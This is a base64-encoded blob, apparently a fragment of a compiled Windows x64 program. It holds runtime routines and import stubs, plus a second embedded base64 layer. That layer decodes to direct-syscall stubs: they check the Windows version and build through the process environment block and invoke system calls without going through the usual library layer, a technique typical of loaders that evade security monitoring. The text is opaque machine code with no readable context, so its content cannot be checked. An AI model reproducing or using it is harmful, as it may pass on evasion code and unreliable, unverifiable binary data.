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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFYwaUo1MGlENVBCSWcrd2c2TDhzQUFCSWlmeGZ3Mll1RHgrRUFBQUFBQUREWmk0UEg0UUFBQUFBQUE4ZlJBQUFaVWlMQkNWZ0FBQUFnN2dZQVFBQUJuUU9nN2dZQVFBQUNuUlE2VDhCQUFDRHVCd0JBQUFCZEIrRHVCd0JBQUFDRDRUT0FBQUFnN2djQVFBQUF3K0V5QUFBQU9rWEFRQUFab0c0SUFFQUFMQWRENFNmQUFBQVpvRzRJQUVBQUxFZEQ0U1hBQUFBNmZRQUFBQm1nYmdnQVFBQUFDZ1BoSmdBQUFCbWdiZ2dBUUFBV2lrUGhKQUFBQUJtZ2JnZ0FRQUFPVGdQaElnQUFBQm1nYmdnQVFBQTF6b1BoSUFBQUFCbWdiZ2dBUUFBcXo5MGZHYUJ1Q0FCQUFEdVFuUjRab0c0SUFFQUFHTkZkSFJtZ2JnZ0FRQUF1a2QwY0dhQnVDQUJBQUM3UjNSc1pvRzRJQUVBQUdGS2RHaG1nYmdnQVFBQVlrcDBaT3RwdUQ0QUFBRHJZN2crQUFBQTYxeTRQd0FBQU90VnVFQUFBQURyVHJoQkFBQUE2MGU0UVFBQUFPdEF1RUVBQUFEck9iaEJBQUFBNnpLNFFRQUFBT3NydUVFQUFBRHJKTGhCQUFBQTZ4MjRRUUFBQU9zV3VFRUFBQURyRDdoQkFBQUE2d2k0UVFBQUFPc0J3MG1KeWc4RncyVklpd1FsWUFBQUFJTzRHQUVBQUFaMERvTzRHQUVBQUFwMFVPay9BUUFBZzdnY0FRQUFBWFFmZzdnY0FRQUFBZytFemdBQUFJTzRIQUVBQUFNUGhNZ0FBQURwRndFQUFHYUJ1Q0FCQUFDd0hRK0Vud0FBQUdhQnVDQUJBQUN4SFErRWx3QUFBT24wQUFBQVpvRzRJQUVBQUFBb0Q0U1lBQUFBWm9HNElBRUFBRm9wRDRTUUFBQUFab0c0SUFFQUFEazRENFNJQUFBQVpvRzRJQUVBQU5jNkQ0U0FBQUFBWm9HNElBRUFBS3MvZEh4bWdiZ2dBUUFBN2tKMGVHYUJ1Q0FCQUFCalJYUjBab0c0SUFFQUFMcEhkSEJtZ2JnZ0FRQUF1MGQwYkdhQnVDQUJBQUJoU25Sb1pvRzRJQUVBQUdKS2RHVHJhYmc1QUFBQTYyTzRPUUFBQU90Y3VEb0FBQURyVmJnN0FBQUE2MDY0UEFBQUFPdEh1RHdBQUFEclFMZzhBQUFBNnptNFBBQUFBT3N5dUR3QUFBRHJLN2c4QUFBQTZ5UzRQQUFBQU9zZHVEd0FBQURyRnJnOEFBQUE2dys0UEFBQUFPc0l1RHdBQUFEckFjTkppY29QQmNObFNJc0VKV0FBQUFDRHVCZ0JBQUFHZEE2RHVCZ0JBQUFLZEZEcFB3RUFBSU80SEFFQUFBRjBINE80SEFFQUFBSVBoTTRBQUFDRHVCd0JBQUFERDRUSUFBQUE2UmNCQUFCbWdiZ2dBUUFBc0IwUGhKOEFBQUJtZ2JnZ0FRQUFzUjBQaEpjQUFBRHA5QUFBQUdhQnVDQUJBQUFBS0ErRW1BQUFBR2FCdUNBQkFBQmFLUStFa0FBQUFHYUJ1Q0FCQUFBNU9BK0VpQUFBQUdhQnVDQUJBQURYT2crRWdBQUFBR2FCdUNBQkFBQ3JQM1I4Wm9HNElBRUFBTzVDZEhobWdiZ2dBUUFBWTBWMGRHYUJ1Q0FCQUFDNlIzUndab0c0SUFFQUFMdEhkR3htZ2JnZ0FRQUFZVXAwYUdhQnVDQUJBQUJpU25SazYybTRQd0FBQU90anVEOEFBQURyWExoQUFBQUE2MVc0UVFBQUFPdE91RUlBQUFEclI3aENBQUFBNjBDNFFnQUFBT3M1dUVJQUFBRHJNcmhDQUFBQTZ5dTRRZ0FBQU9za3VFSUFBQURySGJoQ0FBQUE2eGE0UWdBQUFPc1B1RUlBQUFEckNMaENBQUFBNndIRFNZbktEd1hEWlVpTEJDVmdBQUFBZzdnWUFRQUFCblFPZzdnWUFRQUFDblJRNlQ4QkFBQ0R1QndCQUFBQmRCK0R1QndCQUFBQ0Q0VE9BQUFBZzdnY0FRQUFBdytFeUFBQUFPa1hBUUFBWm9HNElBRUFBTEFkRDRTZkFBQUFab0c0SUFFQUFMRWRENFNYQUFBQTZmUUFBQUJtZ2JnZ0FRQUFBQ2dQaEpnQUFBQm1nYmdnQVFBQVdpa1BoSkFBQUFCbWdiZ2dBUUFBT1RnUGhJZ0FBQUJtZ2JnZ0FRQUExem9QaElBQUFBQm1nYmdnQVFBQXF6OTBmR2FCdUNBQkFBRHVRblI0Wm9HNElBRUFBR05GZEhSbWdiZ2dBUUFBdWtkMGNHYUJ1Q0FCQUFDN1IzUnNab0c0SUFFQUFHRktkR2htZ2JnZ0FRQUFZa3AwWk90cHVDTUFBQURyWTdnakFBQUE2MXk0SkFBQUFPdFZ1Q1VBQUFEclRyZ21BQUFBNjBlNEpnQUFBT3RBdUNZQUFBRHJPYmdtQUFBQTZ6SzRKZ0FBQU9zcnVDWUFBQURySkxnbUFBQUE2eDI0SmdBQUFPc1d1Q1lBQUFEckQ3Z21BQUFBNndpNEpnQUFBT3NCdzBtSnlnOEZ3MlZJaXdRbFlBQUFBSU80R0FFQUFBWjBEb080R0FFQUFBcDBVT2svQVFBQWc3Z2NBUUFBQVhRZmc3Z2NBUUFBQWcrRXpnQUFBSU80SEFFQUFBTVBoTWdBQUFEcEZ3RUFBR2FCdUNBQkFBQ3dIUStFbndBQUFHYUJ1Q0FCQUFDeEhRK0Vsd0FBQU9uMEFBQUFab0c0SUFFQUFBQW9ENFNZQUFBQVpvRzRJQUVBQUZvcEQ0U1FBQUFBWm9HNElBRUFBRGs0RDRTSUFBQUFab0c0SUFFQUFOYzZENFNBQUFBQVpvRzRJQUVBQUtzL2RIeG1nYmdnQVFBQTdrSjBlR2FCdUNBQkFBQmpSWFIwWm9HNElBRUFBTHBIZEhCbWdiZ2dBUUFBdTBkMGJHYUJ1Q0FCQUFCaFNuUm9ab0c0SUFFQUFHSktkR1RyYWJqNUFBQUE2Mk80K1FBQUFPdGN1QXNCQUFEclZiZ09BUUFBNjA2NEZBRUFBT3RIdUJjQkFBRHJRTGdaQVFBQTZ6bTRIUUVBQU9zeXVCOEJBQURySzdnaEFRQUE2eVM0SWdFQUFPc2R1Q01CQUFEckZyZ2pBUUFBNncrNEtBRUFBT3NJdUNnQkFBRHJBY05KaWNvUEJjTmxTSXNFSldBQUFBQ0R1QmdCQUFBR2RBNkR1QmdCQUFBS2RGRHBQd0VBQUlPNEhBRUFBQUYwSDRPNEhBRUFBQUlQaE00QUFBQ0R1QndCQUFBREQ0VElBQUFBNlJjQkFBQm1nYmdnQVFBQXNCMFBoSjhBQUFCbWdiZ2dBUUFBc1IwUGhKY0FBQURwOUFBQUFHYUJ1Q0FCQUFBQUtBK0VtQUFBQUdhQnVDQUJBQUJhS1ErRWtBQUFBR2FCdUNBQkFBQTVPQStFaUFBQUFHYUJ1Q0FCQUFEWE9nK0VnQUFBQUdhQnVDQUJBQUNyUDNSOFpvRzRJQUVBQU81Q2RIaG1nYmdnQVFBQVkwVjBkR2FCdUNBQkFBQzZSM1J3Wm9HNElBRUFBTHRIZEd4bWdiZ2dBUUFBWVVwMGFHYUJ1Q0FCQUFCaVNuUms2Mm00SGdBQUFPdGp1QjRBQUFEclhMZ2ZBQUFBNjFXNElBQUFBT3RPdUNFQUFBRHJSN2doQUFBQTYwQzRJUUFBQU9zNXVDRUFBQURyTXJnaEFBQUE2eXU0SVFBQUFPc2t1Q0VBQUFEckhiZ2hBQUFBNnhhNElRQUFBT3NQdUNFQUFBRHJDTGdoQUFBQTZ3SERTWW5LRHdYRFpVaUxCQ1ZnQUFBQWc3Z1lBUUFBQm5RT2c3Z1lBUUFBQ25SUTZUOEJBQUNEdUJ3QkFBQUJkQitEdUJ3QkFBQUNENFRPQUFBQWc3Z2NBUUFBQXcrRXlBQUFBT2tYQVFBQVpvRzRJQUVBQUxBZEQ0U2ZBQUFBWm9HNElBRUFBTEVkRDRTWEFBQUE2ZlFBQUFCbWdiZ2dBUUFBQUNnUGhKZ0FBQUJtZ2JnZ0FRQUFXaWtQaEpBQUFBQm1nYmdnQVFBQU9UZ1BoSWdBQUFCbWdiZ2dBUUFBMXpvUGhJQUFBQUJtZ2JnZ0FRQUFxejkwZkdhQnVDQUJBQUR1UW5SNFpvRzRJQUVBQUdORmRIUm1nYmdnQVFBQXVrZDBjR2FCdUNBQkFBQzdSM1JzWm9HNElBRUFBR0ZLZEdobWdiZ2dBUUFBWWtwMFpPdHB1QTBBQUFEclk3Z05BQUFBNjF5NERnQUFBT3RWdUE4QUFBRHJUcmdRQUFBQTYwZTRFQUFBQU90QXVCQUFBQURyT2JnUUFBQUE2eks0RUFBQUFPc3J1QkFBQUFEckpMZ1FBQUFBNngyNEVBQUFBT3NXdUJBQUFBRHJEN2dRQUFBQTZ3aTRFQUFBQU9zQncwbUp5ZzhGdzJWSWl3UWxZQUFBQUlPNEdBRUFBQVowRG9PNEdBRUFBQXAwVU9rL0FRQUFnN2djQVFBQUFYUWZnN2djQVFBQUFnK0V6Z0FBQUlPNEhBRUFBQU1QaE1nQUFBRHBGd0VBQUdhQnVDQUJBQUN3S